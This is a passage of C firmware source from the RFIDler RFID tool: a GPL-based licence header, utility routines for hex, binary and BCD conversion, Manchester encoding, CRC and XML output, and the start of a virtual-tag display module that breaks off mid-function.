typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\n#include <string.h>\n#include <stdio.h>\n#include \"HardwareProfile.h\"\n#include \"util.h\"\n#include \"rfidler.h\"\n#include \"USB/usb_function_cdc.h\"\n#include \"comms.h\"\n\n// rtc\nrtccTime\tRTC_time;\t\t\t// time structure\nrtccDate\tRTC_date;\t\t\t// date structure\n\n// are we +/- x%?\nBYTE approx(unsigned long number, unsigned long target, unsigned char percentage)\n{\n    if(number > (target - (target / (100L / (unsigned long) percentage))) && number < (target + (target / (100L / (unsigned long) percentage))))\n            return TRUE;\n    return FALSE;\n}\n\n// convert BCD to unsigned int, length in hex digits\nunsigned int bcdtouint(BYTE *bcd, BYTE length)\n{\n    BYTE i;\n    unsigned int num= 0, mult= 1;\n\n    for(i= 0 ; i < length ; ++i)\n    {\n        num += (bcd[length - i - 1] - '0') * mult;\n        mult *= 10;\n    }\n    return num;\n}\n\n// convert BCD to ulong long, length in hex digits\nunsigned long long bcdtoulonglong(BYTE *bcd, BYTE length)\n{\n    BYTE i;\n    unsigned long long num= 0LL, mult= 1LL;\n\n    for(i= 0 ; i < length ; ++i)\n    {\n        num += (bcd[length - i - 1] - '0') * mult;\n        mult *= 10LL;\n    }\n    return num;\n}\n\n// convert binary array to unsigned int\nunsigned int binarraytoint(BYTE *bin, BYTE length)\n{\n    unsigned int out= 0;\n\n    while(length)\n        out += *(bin++) << ((length--) - 1);\n\n    return out;\n}\n\n// convert integer to binarray, limited to specified number of LSB\nvoid inttobinarray(BYTE *target, unsigned int source, unsigned int bits)\n{\n    while(bits--)\n    {\n        *(target++)= (source >> bits) & 0x01;\n    }\n}\n\n// convert ulong to binarray, limited to specified number of LSB\nvoid ulongtobinarray(BYTE *target, unsigned long source, unsigned int bits)\n{\n    while(bits--)\n    {\n        *(target++)= (source >> bits) & 0x01;\n    }\n}\n\n// convert ulong to binarray, limited to specified number of LSB\nvoid ulonglongtobinarray(BYTE *target, unsigned long long source, unsigned int bits)\n{\n    while(bits--)\n    {\n        *(target++)= (source >> bits) & 0x01;\n    }\n}\n\n\nBOOL ulongtohex(BYTE *target, unsigned long source)\n{\n    BYTE tmp[9];\n\n    sprintf(tmp, \"%08lX\", source);\n    memcpy(target, tmp, 8);\n    return TRUE;\n}\n\nBOOL ulonglongtohex(BYTE *target, unsigned long long source)\n{\n    BYTE tmp[17];\n\n    sprintf(tmp, \"%016llX\", source);\n    memcpy(target, tmp, 16);\n    return TRUE;\n}\n\n// convert integer to binstring, limited to specified number of LSB\nvoid inttobinstring(BYTE *target, unsigned int source, unsigned int bits)\n{\n    inttobinarray(target, source, bits);\n    binarraytobinstring(target, target, bits);\n}\n\n// convert ulong to binstring, limited to specified number of LSB\nvoid ulongtobinstring(BYTE *target, unsigned long source, unsigned int bits)\n{\n    ulongtobinarray(target, source, bits);\n    binarraytobinstring(target, target, bits);\n}\n\n// convert binary array to unsigned long long\nunsigned long long binarraytoulonglong(BYTE *bin, BYTE length)\n{\n    unsigned long long out= 0LL;\n\n    while(length)\n        out += *(bin++) << ((length--) - 1);\n\n    return out;\n}\n\n// convert binary array to unsigned long long\nunsigned long binarraytoulong(BYTE *bin, BYTE length)\n{\n    unsigned long out= 0LL;\n\n    while(length)\n        out += *(bin++) << ((length--) - 1);\n\n    return out;\n}\n\n// convert 2 character hex string to BYTE\nBYTE hextobyte(BYTE *hex)\n{\n    int ret= 0;\n\n    sscanf(hex, \"%2X\", &ret);\n    return (BYTE) ret;\n}\n\n// print readable (ascii) characters from HEX string\n// mxlength specified in BYTEs, not HEX digits\nvoid printhexreadable(BYTE *hex, BYTE maxlength)\n{\n    BYTE    x[2]= {'\\0', '\\0'};\n    \n    while(*hex && maxlength--)\n    {\n        x[0]= hextobyte(hex);\n        if(x[0] < 0x20 || x[0] > 0x7e)\n            x[0]= '.';\n        UserMessage(\"%s\", x);\n        hex += 2;\n    }\n}\n\n// convert 8 digit hex to unsigned long\nunsigned long hextoulong(BYTE *hex)\n{\n    unsigned long ret= 0L;\n\n    if(sscanf(hex, \"%8X\", &ret) != 1)\n            return 0L;\n    return ret;\n}\n\n// convert byte-reversed 8 digit hex to unsigned long\nunsigned long hexreversetoulong(BYTE *hex)\n{\n    unsigned long ret= 0L;\n    unsigned int x;\n    BYTE i;\n\n    if(strlen(hex) != 8)\n        return 0L;\n\n    for(i= 0 ; i < 4 ; ++i)\n    {\n        if(sscanf(hex, \"%2X\", &x) != 1)\n                return 0L;\n        ret += ((unsigned long) x) << i * 8;\n        hex += 2;\n    }\n    return ret;\n}\n\n// convert hex to unsigned long long\nunsigned long long hextoulonglong(BYTE *hex)\n{\n    BYTE tmp[64];\n    \n    if(hextobinarray(tmp, hex) != 64)\n        return 0L;\n    return binarraytoulonglong(tmp, 64);\n}\n\n// convert byte-reversed 12 digit hex to unsigned long\nunsigned long long hexreversetoulonglong(BYTE *hex)\n{\n    unsigned long long ret= 0LL;\n    BYTE tmp[9];\n    \n    // this may seem an odd way to do it, but weird compiler issues were \n    // breaking direct conversion!\n    \n    tmp[8]= '\\0';\n    memset(tmp + 4, '0', 4);\n    memcpy(tmp, hex + 8, 4);\n    ret= hexreversetoulong(tmp);\n    ret <<= 32;\n    memcpy(tmp, hex, 8);\n    ret += hexreversetoulong(tmp);\n    return ret;\n}\n\n// fixme - this is effectively replaced by the above!\n// library sscanf llx is broken, so we have to do it ourselves...\nchar hextolonglong(unsigned long long *out, unsigned char *hex)\n{\n    char i, c= 0;\n    static unsigned int x;\n    unsigned char tmp[3]= {0,0,0};\n\n    *out= 0LL;\n    if(strlen(hex) % 2)\n        return 0;\n    // deal with section of 224 bit IDs\n    if(strlen(hex) > 16)\n        i= 14;\n    else\n        i= strlen(hex) - 2;\n    for( ; i >= 0 ; i -= 2)\n    {\n        tmp[0]= hex[i];\n        tmp[1]= hex[i+1];\n        if (!sscanf(tmp,\"%X\",&x))\n            return 0LL;\n        *out += (unsigned long long) x << c;\n        c += 8;\n    }\n    return 1;\n}\n\n// convert hex to sequence of 0/1 bit values\n// returns number of bits converted\nunsigned int hextobinarray(unsigned char *target, unsigned char *source)\n{\n    unsigned int length, i, count= 0;\n    unsigned char x;\n\n    length= strlen(source);\n    // process 4 bits (1 hex digit) at a time\n    while(length--)\n    {\n        x= *(source++);\n        // capitalize\n        if (x >= 'a' && x <= 'f')\n            x -= 32;\n        // convert to numeric value\n        if (x >= '0' && x <= '9')\n            x -= '0';\n        else if (x >= 'A' && x <= 'F')\n            x -= 'A' - 10;\n        else\n            return 0;\n        // output\n        for(i= 0 ; i < 4 ; ++i, ++count)\n            *(target++)= (x >> (3 - i)) & 1;\n    }\n    \n    return count;\n}\n\n// convert hex to human readable binary string\nunsigned int hextobinstring(unsigned char *target, unsigned char *source)\n{\n    unsigned int length;\n\n    if(!(length= hextobinarray(target, source)))\n        return 0;\n    binarraytobinstring(target, target, length);\n    return length;\n}\n\n// convert binary array of 0x00/0x01 values to hex (safe to do in place as target will always be shorter than source)\n// return number of bits converted\nunsigned int binarraytohex(unsigned char *target, unsigned char *source, unsigned int length)\n{\n    unsigned char i, x, shift;\n    unsigned int j= length;\n\n    // disabled this test as we get a lot of funny sized binary strings we need to convert!\n    //if(j % 4)\n    //    return 0;\n    if(length <= 4)\n        shift= length;\n    else\n        shift= 4;\n\n    while(j)\n    {\n        for(i= x= 0 ; i < 4 ; ++i, --j)\n            x += (source[i] << ((shift - 1) - i));\n        sprintf(target,\"%X\", x);\n        ++target;\n        source += i;\n    }\n\n    return length;\n}\n\n// print binary array as hex\nvoid hexprintbinarray(BYTE *bin, unsigned int length)\n{\n    while(length--)\n        UserMessageNum(\"%02lx\", *(bin++));\n}\n\n// convert binary string of '0'/'1' values to hex (safe to do in place as target will always be shorter than source)\n// return number of bits converted\nunsigned int binstringtohex(unsigned char *target, unsigned char *source)\n{\n    unsigned char i, x, shift;\n    unsigned int j, length;\n\n    length= j= strlen(source);\n    if(length <= 4)\n        shift= length;\n    else\n        shift= 4;\n    \n    // disabled this check as we need to convert odd binary string lengths\n    //if(j % 4)\n    //    return 0;\n\n    while(j)\n    {\n        for(i= x= 0 ; i < 4 && source[i] != '\\0'; ++i, --j)\n            x += ((source[i] - '0') << ((shift - 1) - i));\n        sprintf(target,\"%X\", x);\n        ++target;\n        source += i;\n    }\n\n    return length;\n}\n\n// convert human readable bin string to unsigned char\nvoid binstringtobyte(BYTE *target, unsigned char *source, BYTE length)\n{\n    BYTE shift= 0;\n    \n    *target= 0;\n    while(length)\n    {\n        *target += (source[length - 1] - '0') << shift;\n        length--;\n        shift++;\n    }\n}\n\n// get a specified bit\nunsigned char getbit(unsigned char byte, unsigned char bit)\n{\n    return (byte >> bit) & 0x01;\n}\n\n// convert array of BYTES to readable hex\nvoid bytestohex(unsigned char *target, unsigned char *source, unsigned int length)\n{\n    while(length--)\n        sprintf(target++,\"%X\",source++);\n}\n\n// convert human readable binary to binary array\nunsigned int binstringtobinarray(BYTE *target, BYTE *source)\n{\n    unsigned int length, i;\n\n    length= strlen(source);\n    for(i= 0 ; i < length ; ++i)\n    {\n        if(*source != '0' && *source != '1')\n            return 0;\n        *(target++)= *(source++) - '0';\n    }\n    return length;\n}\n\n// convert binary array to human readable binary\nvoid binarraytobinstring(BYTE *target, BYTE *source, unsigned int length)\n{\n    unsigned int i;\n\n    for(i= 0 ; i < length ; ++i)\n        *(target++)= *(source++) + '0';\n    *target= '\\0';\n}\n\n// invert binary array\nvoid invertbinarray(BYTE *target, BYTE *source, unsigned int length)\n{\n    while(length--)\n        *(target++)= !*(source++);\n}\n\n// invert binary string\nvoid invertbinstring(BYTE *target, BYTE *source)\n{\n    unsigned int length;\n\n    length= strlen(source);\n    while(length--)\n        *(target++)= (!(*(source++) - '0') + '0');\n}\n\n// print a hex value as binary\nvoid printhexasbin(unsigned char *hex)\n{\n    unsigned int length;\n\n    length= hextobinarray(TmpBits,hex);\n    printbinarray(TmpBits, length);\n}\n\n// print a binstring value as hex\nvoid printbinstringashex(unsigned char *bin)\n{\n    if(binstringtohex(TmpBits, bin))\n        UserMessage(\"%s\\r\\n\", TmpBits);\n}\n\nvoid printbinarray(unsigned char *bin, unsigned int length)\n{\n    while(length--)\n    {\n        // normally we are printing 0/1, but if we're looking at anything else we want a space between values\n        if(*bin > 1)\n            UserMessageNum(\"%d \",*bin);\n        else\n            UserMessageNum(\"%d\",*bin);\n\n        bin++;\n    }\n    UserMessage(\"%s\", \"\\r\\n\");\n}\n\n\n// convert sequence of 0/1 bit values to manchester encoded\n// we use a temp buffer so it's safe to encode in-place\nunsigned int manchester_encode(unsigned char *target, unsigned char *source, unsigned int length)\n{\n    unsigned char tmp[TMP_LARGE_BUFF_LEN];\n    unsigned int i= 0;\n\n    while(length--)\n    {\n        if(*(source++))\n        {\n            tmp[i++]= 0x01;\n            tmp[i++]= 0x00;\n        }\n        else\n        {\n           tmp[i++]= 0x00;\n           tmp[i++]= 0x01;\n        }\n    }\n    memcpy(target, tmp, i);\n    return i;\n}\n\n// convert manchester encoded 01/10 to 1/0\n// target is smaller than source, so safe to do in place\n// length is source buffer length\n// return size of target buffer\nunsigned int manchester_decode(unsigned char *target, unsigned char *source, unsigned int length)\n{\n    unsigned int i= 0;\n\n    while(i < length)\n    {\n        // check for bit error\n        if(*source == *(source+1))\n            return i / 2;\n        *(target++)= *(source);\n        source += 2;\n        i += 2;\n    }\n    return i / 2;\n}\n\nchar * strip_newline(char *buff)\n{\n    int i= 0;\n\n    while(buff[i] != '\\0')\n    {\n        if (buff[i] == '\\r' || buff[i] == '\\n')\n        {\n            buff[i]= '\\0';\n            return buff;\n        }\n        ++i;\n    }\n    return buff;\n}\n\n// command ACK when in API mode\n// '.' for command complete\n// '+' for data to follow\nBOOL command_ack(BOOL data)\n{\n    if(Interface == INTERFACE_API)\n    {\n        if(data)\n            UserMessage(\"%s\", \"+\");\n        else\n            UserMessage(\"%s\", \".\");\n    }\n    else\n    {\n        if(data)\n            UserMessage(\"%s\", \"\\r\\n\");\n        else\n            UserMessage(\"%s\", \"\\r\\nOK\\r\\n\\r\\n\");\n    }\n    return TRUE;\n}\n\n// command NACK when in API mode\n// note we still return TRUE to flag CLI that command was recognised\nBOOL command_nack(BYTE *reason)\n{\n    if(Interface == INTERFACE_API)\n        UserMessage(\"!%s\\r\\n\", reason);\n    else\n        UserMessage(\"\\r\\n%s\\r\\n\\r\\n\", reason);\n    return TRUE;\n}\n\n// command UNKNOWN when in API mode\nBOOL command_unknown(void)\n{\n    if(Interface == INTERFACE_API)\n        UserMessage(\"%s\", \"?\");\n    return FALSE;\n}\n\n\n// convert to upper and strip trailing spaces\nvoid ToUpper(char *string)\n{\n    int i;\n\n    for (i = 0; i < strlen(string); ++i)\n        if (string[i] >= 'a' && string[i] <= 'z')\n            string[i] -= 'a' - 'A';\n\n    while(string[strlen(string) - 1] == ' ')\n        string[strlen(string) - 1]= '\\0';\n}\n\n// reverse a string in place\nvoid string_reverse(unsigned char *string, unsigned int length)\n{\n    unsigned int i;\n    unsigned char x, *p;\n\n    i= length / 2;\n    p= string;\n    while(length > i)\n    {\n        x= string[length - 1];\n        string[length - 1]= *p;\n        *p= x;\n        ++p;\n        --length;\n    }\n}\n\n// bytes swap a string in place\nBOOL string_byteswap(unsigned char *string, unsigned int length)\n{\n    unsigned char x;\n\n    if(length % 2)\n        return FALSE;\n\n    while(length)\n    {\n        x= *string;\n        *string= *(string + 1);\n        *(string + 1)= x;\n        length -= 2;\n        string += 2;\n    }\n    return TRUE;\n}\n\n// return parity bit required to match type\nBYTE parity(unsigned char *bits, BYTE type, unsigned int length)\n{\n    unsigned int x;\n\n    for(x= 0 ; length > 0 ; --length)\n        x += bits[length - 1];\n    x %= 2;\n\n    return x ^ type;\n}\n\n// wait for a pulse on the reader coil and return it's length\n// note this will return a partial pulse if it's already started\n// return pulse length in ticks\nunsigned long get_reader_pulse(unsigned int timeout_us)\n{\n    // wait for start of pulse\n    GetTimer_us(RESET);\n    while(!READER_DATA)\n        if(timeout_us)\n            if (GetTimer_us(NO_RESET) > timeout_us)\n                return 0;\n\n    // measure pulse length\n    GetTimer_us(RESET);\n    while(READER_DATA)\n        if(timeout_us)\n            if (GetTimer_us(NO_RESET) > timeout_us)\n                return 0;\n\n    return GetTimer_ticks(NO_RESET);\n}\n\n// wait for a gap on the reader coil and return it's length\n// note this will return a partial gap if it's already started\n// return pulse length in ticks\nunsigned long get_reader_gap(unsigned int timeout_us)\n{\n    // wait for start of gap\n    GetTimer_us(RESET);\n    while(READER_DATA)\n        if(timeout_us)\n            if (GetTimer_us(NO_RESET) > timeout_us)\n                return 0;\n\n    // measure gap length\n    GetTimer_us(RESET);\n    while(!READER_DATA)\n        if(timeout_us)\n            if (GetTimer_us(NO_RESET) > timeout_us)\n                return 0;\n\n    return GetTimer_ticks(NO_RESET);\n}\n\n// ccitt standard crc\nunsigned int crc_ccitt(BYTE *data, unsigned int length)\n{\n    return crc16(0, data, length, CRC16_MASK_CCITT);\n}\n\n// 16 bit generic crc\nunsigned int crc16(unsigned int crc, BYTE *data, unsigned int length, unsigned int mask)\n{\n    unsigned int i, j, c;\n\n    for(i= 0 ; i <  length ; ++i)\n    {\n        c= (unsigned int) data[i];\n        c <<= 8;\n        for(j= 0 ; j < 8 ; ++j)\n        {\n           if ((crc ^ c) & 0x8000)\n               crc= (crc << 1) ^ mask;\n           else\n               crc <<= 1;\n           c <<= 1;\n        }\n        crc &= 0xffff;\n    }\n    return crc;\n}\n\nvoid space_indent(BYTE count)\n{\n    while(count)\n    {\n        UserMessage(\"%s\", \" \");\n        --count;\n    }\n}\n\n// some simple XML helper routines\nvoid xml_version(void)\n{\n    UserMessage(\"%s\", \"<?xml version=\\\"1.0\\\" encoding=\\\"UTF-8\\\"?>\");\n}\n\nvoid xml_header(BYTE *item, BYTE *indent)\n{\n    UserMessage(\"%s\", \"\\r\\n\");\n    space_indent(*indent);\n    UserMessage(\"<%s>\", item);\n    (*indent) += 2;\n}\n\nvoid xml_footer(BYTE *item, BYTE *indent, BOOL newline)\n{\n    if(newline)\n        UserMessage(\"%s\", \"\\r\\n\");\n    if(*indent > 1)\n        (*indent) -= 2;\n    else\n        *indent= 0;\n    if(newline)\n        space_indent(*indent);\n    UserMessage(\"</%s>\", item);\n}\n\nvoid xml_indented_text(BYTE *data, BYTE indent)\n{\n    UserMessage(\"%s\", \"\\r\\n\");\n    space_indent(indent);\n    UserMessage(\"%s\", data);\n}\n\nvoid xml_item_text(BYTE *item, BYTE *data, BYTE *indent)\n{\n    xml_header(item, indent);\n    UserMessage(\"%s\", data);\n    xml_footer(item, indent, NO_NEWLINE);\n}\n\nvoid xml_item_decimal(BYTE *item, BYTE num, BYTE *indent)\n{\n    BYTE tmp[4];\n\n    xml_header(item, indent);\n    sprintf(tmp, \"%d\", num);\n    UserMessage(\"%s\", tmp);\n    xml_footer(item, indent, NO_NEWLINE);\n}\n\nvoid xml_indented_array(BYTE *data, BYTE mask, unsigned int length, BYTE indent)\n{\n    unsigned int i;\n\n    for(i= 0 ; i < length ; ++i)\n    {\n        if(!(i % 32))\n        {\n            UserMessage(\"%s\", \"\\r\\n\");\n            space_indent(indent);\n        }\n        UserMessageNum(\"%02lx\", data[i] & mask);\n    }\n}\n\nvoid xml_item_array(BYTE *item, BYTE *data, BYTE mask, unsigned int length, BYTE *indent)\n{\n    xml_header(item, indent);\n    xml_indented_array(data, mask, length, *indent);\n    xml_footer(item, indent, NEWLINE);\n}\n"
  },
  {
    "path": "firmware/Pic32/RFIDler.X/src/vtag.c",
    "content": "/***************************************************************************\n * A copy of the GNU GPL is appended to this file.                         *\n *                                                                         *\n * This licence is based on the nmap licence, and we express our gratitude *\n * for the work that went into producing it. There is no other connection  *\n * between RFIDler and nmap either expressed or implied.                   *\n *                                                                         *\n ********************** IMPORTANT RFIDler LICENSE TERMS ********************\n *                                                                         *\n *                                                                         *\n * All references to RFIDler herein imply all it's derivatives, namely:    *\n *                                                                         *\n * o RFIDler-LF Standard                                                   *\n * o RFIDler-LF Lite                                                       *\n * o RFIDler-LF Nekkid                                                     *\n *                                                                         *\n *                                                                         *\n * RFIDler is (C) 2013-2017 Aperture Labs Ltd.                             *\n *                                                                         *\n * This program is free software; you may redistribute and/or modify it    *\n * under the terms of the GNU General Public License as published by the   *\n * Free Software Foundation; Version 2 (\"GPL\"), BUT ONLY WITH ALL OF THE   *\n * CLARIFICATIONS AND EXCEPTIONS DESCRIBED HEREIN.  This guarantees your   *\n * right to use, modify, and redistribute this software under certain      *\n * conditions.  If you wish to embed RFIDler technology into proprietary   *\n * software or hardware, we sell alternative licenses                      *\n * (contact sales@aperturelabs.com).                                       *\n *                                                                         *\n * Note that the GPL places important restrictions on \"derivative works\",  *\n * yet it does not provide a detailed definition of that term.  To avoid   *\n * misunderstandings, we interpret that term as broadly as copyright law   *\n * allows.  For example, we consider an application to constitute a        *\n * derivative work for the purpose of this license if it does any of the   *\n * following with any software or content covered by this license          *\n * (\"Covered Software\"):                                                   *\n *                                                                         *\n * o Integrates source code from Covered Software.                         *\n *                                                                         *\n * o Is designed specifically to execute Covered Software and parse the    *\n * results (as opposed to typical shell or execution-menu apps, which will *\n * execute anything you tell them to).                                     *\n *                                                                         *\n * o Includes Covered Software in a proprietary executable installer.  The *\n * installers produced by InstallShield are an example of this.  Including *\n * RFIDler with other software in compressed or archival form does not     *\n * trigger this provision, provided appropriate open source decompression  *\n * or de-archiving software is widely available for no charge.  For the    *\n * purposes of this license, an installer is considered to include Covered *\n * Software even if it actually retrieves a copy of Covered Software from  *\n * another source during runtime (such as by downloading it from the       *\n * Internet).                                                              *\n *                                                                         *\n * o Links (statically or dynamically) to a library which does any of the  *\n * above.                                                                  *\n *                                                                         *\n * o Executes a helper program, module, or script to do any of the above.  *\n *                                                                         *\n * This list is not exclusive, but is meant to clarify our interpretation  *\n * of derived works with some common examples.  Other people may interpret *\n * the plain GPL differently, so we consider this a special exception to   *\n * the GPL that we apply to Covered Software.  Works which meet any of     *\n * these conditions must conform to all of the terms of this license,      *\n * particularly including the GPL Section 3 requirements of providing      *\n * source code and allowing free redistribution of the work as a whole.    *\n *                                                                         *\n * As another special exception to the GPL terms, Aperture Labs Ltd. grants*\n * permission to link the code of this program with any version of the     *\n * OpenSSL library which is distributed under a license identical to that  *\n * listed in the included docs/licenses/OpenSSL.txt file, and distribute   *\n * linked combinations including the two.                                  *\n *                                                                         *\n * Any redistribution of Covered Software, including any derived works,    *\n * must obey and carry forward all of the terms of this license, including *\n * obeying all GPL rules and restrictions.  For example, source code of    *\n * the whole work must be provided and free redistribution must be         *\n * allowed.  All GPL references to \"this License\", are to be treated as    *\n * including the terms and conditions of this license text as well.        *\n *                                                                         *\n * Because this license imposes special exceptions to the GPL, Covered     *\n * Work may not be combined (even as part of a larger work) with plain GPL *\n * software.  The terms, conditions, and exceptions of this license must   *\n * be included as well.  This license is incompatible with some other open *\n * source licenses as well.  In some cases we can relicense portions of    *\n * RFIDler or grant special permissions to use it in other open source     *\n * software.  Please contact sales@aperturelabs.com with any such requests.*\n * Similarly, we don't incorporate incompatible open source software into  *\n * Covered Software without special permission from the copyright holders. *\n *                                                                         *\n * If you have any questions about the licensing restrictions on using     *\n * RFIDler in other works, are happy to help.  As mentioned above, we also *\n * offer alternative license to integrate RFIDler into proprietary         *\n * applications and appliances.  These contracts have been sold to dozens  *\n * of software vendors, and generally include a perpetual license as well  *\n * as providing for priority support and updates.  They also fund the      *\n * continued development of RFIDler.  Please email sales@aperturelabs.com  *\n * for further information.                                                *\n * If you have received a written license agreement or contract for        *\n * Covered Software stating terms other than these, you may choose to use  *\n * and redistribute Covered Software under those terms instead of these.   *\n *                                                                         *\n * Source is provided to this software because we believe users have a     *\n * right to know exactly what a program is going to do before they run it. *\n * This also allows you to audit the software for security holes (none     *\n * have been found so far).                                                *\n *                                                                         *\n * Source code also allows you to port RFIDler to new platforms, fix bugs, *\n * and add new features.  You are highly encouraged to send your changes   *\n * to the RFIDler mailing list for possible incorporation into the         *\n * main distribution.  By sending these changes to Aperture Labs Ltd. or   *\n * one of the Aperture Labs Ltd. development mailing lists, or checking    *\n * them into the RFIDler source code repository, it is understood (unless  *\n * you specify otherwise) that you are offering the RFIDler Project        *\n * (Aperture Labs Ltd.) the unlimited, non-exclusive right to reuse,       *\n * modify, and relicense the code.  RFIDler will always be available Open  *\n * Source, but this is important because the inability to relicense code   *\n * has caused devastating problems for other Free Software projects (such  *\n * as KDE and NASM).  We also occasionally relicense the code to third     *\n * parties as discussed above. If you wish to specify special license      *\n * conditions of your contributions, just say so when you send them.       *\n *                                                                         *\n * This program is distributed in the hope that it will be useful, but     *\n * WITHOUT ANY WARRANTY; without even the implied warranty of              *\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the RFIDler   *\n * license file for more details (it's in a COPYING file included with     *\n * RFIDler, and also available from                                        *\n *   https://github.com/ApertureLabsLtd/RFIDler/COPYING                    *\n *                                                                         *\n ***************************************************************************/\n\n// Author: Adam Laurie <adam@aperturelabs.com>\n\n\n#include \"HardwareProfile.h\"\n#include \"vtag.h\"\n#include \"rfidler.h\"\n#include \"util.h\"\n#include \"tags.h\"\n#include \"write.h\"\n#include \"uid.h\"\n#include \"comms.h\"\n#include \"config.h\"\n\nvoid vtag_wipe(void)\n{\n    memset(&RFIDlerVTag, 0x00, sizeof(RFIDlerVTag));\n\n}\n\n/// show contents of vtag\nvoid vtag_dump(void)\n{\n    BYTE tmp[MAXBLOCKSIZE + 1], interpret;\n    unsigned int i, j, k;\n\n    UserMessage(\"              Type: %s\", (BYTE *) TagTypes[RFIDlerVTag.TagType]);\n\n    UserMessage(\"\\r\\n         Emulating: %s\", (BYTE *) TagTypes[RFIDlerVTag.EmulatedTagType]);\n\n    UserMessage(\"\\r\\n           Raw UID: %s\", RFIDlerVTag.UID);\n\n    // show interpreted UID\n    if(RFIDlerVTag.EmulatedTagType == TAG_TYPE_NONE)\n        interpret= RFIDlerVTag.TagType;\n    else\n        interpret= RFIDlerVTag.EmulatedTagType;\n    UserMessage(\"\\r\\n               UID: %s\", interpret_uid(tmp, RFIDlerVTag.UID, interpret) ? tmp : (BYTE *) \"invalid!\");\n\n    // show config block if present\n    if(config_block_number(&i, RFIDlerVTag.TagType))\n    {\n        UserMessage(\"%s\",\"\\r\\n\\r\\n\");\n        j= 0;\n        pw_block_number(&j, RFIDlerVTag.TagType);\n        k= 0;\n        info_block_number(&k, RFIDlerVTag.TagType);\n        config_block_show(&RFIDlerVTag.Data[HEXDIGITS(RFIDlerVTag.BlockSize * i)], &RFIDlerVTag.Data[HEXDIGITS(RFIDlerVTag.BlockSize * j)], &RFIDlerVTag.Data[HEXDIGITS(RFIDlerVTag.BlockSize * k)], RFIDlerVTag.TagType);\n    }\n\n    if(RFIDlerVTag.DataBlocks == 0)\n    {\n        UserMessage(\"%s\", \"\\r\\n\\r\\n\");\n        return;\n    }\n\n    UserMessage(\"%s\", \"\\r\\n              Data:\");\n    tmp[HEXDIGITS(RFIDlerVTag.BlockSize)]= '\\0';\n    for(i= 0 ; i < RFIDlerVTag.DataBlocks ; ++i)\n    {\n        memcpy(tmp, &RFIDlerVTag.Data[HEXDIGITS(RFIDlerVTag.BlockSize * i)], HEXDIGITS(RFIDlerVTag.BlockSize));\n        if(tmp[0])\n        {\n            UserMessageNum(\"\\r\\n                 %d: \", i);\n            UserMessage(\"%s\", tmp);\n        }\n    }\n    UserMessage(\"%s\", \"\\r\\n\\r\\n\");\n}\n\nBOOL vtag_set_tag_type(BYTE *tagtype)\n{\n    BYTE tag;\n\n    if(!(tag= tag_get_type(tagtype)))\n            return FALSE;\n    vtag_set_tag_from_type(tag);\n    return TRUE;\n}\n\nvoid vtag_set_tag_from_type(BYTE tag)\n{\n    vtag_wipe();\n    